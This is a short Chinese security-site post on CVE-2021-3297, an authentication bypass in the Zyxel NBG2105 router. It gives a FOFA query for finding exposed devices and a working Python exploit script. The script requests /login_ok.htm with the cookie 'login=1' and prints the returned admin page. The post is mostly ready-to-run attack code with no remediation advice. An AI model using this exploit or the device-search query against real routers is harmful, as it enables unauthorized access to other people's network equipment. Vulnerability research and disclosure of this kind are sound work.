[HW漏洞]Zyxel NBG2105 身份验证绕过(新)

admin 2021年4月16日05:52:36评论80 views字数 842阅读2分48秒阅读模式

描述

Zyxel NBG2105 存在身份验证绕过,攻击者通过更改 login参数可用实现后台登陆

影响版本:Zyxel NBG2105 fofa app="ZyXEL-NBG2105"

POC & EXP

# python3
import requests
import sys
from requests.packages.urllib3.exceptions 
import InsecureRequestWarning

def poc(url):
    exp = url + "/login_ok.htm"

    header = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "cookie":"login=1",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=exp, headers=header, verify=False,timeout=10)
        #print(response.text)
        if response.status_code == 200 and "GMT" in response.text:
            print(exp + " 存在Zyxel NBG2105 身份验证绕过 CVE-2021-3297漏洞!!!")
            print("数据信息如下:")
            print(response.text)
        else:
            print(exp + " 不存在Zyxel NBG2105 身份验证绕过 CVE-2021-3297漏洞!!!")
    except Exception as e:
        print(exp + "请求失败!!")
def main():
    url = str(input("请输入目标url:"))
    poc(url)
if __name__ == "__main__":
    main()

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月16日05:52:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [HW漏洞]Zyxel NBG2105 身份验证绕过(新)https://cn-sec.com/archives/335829.html

发表评论

匿名网友 填写信息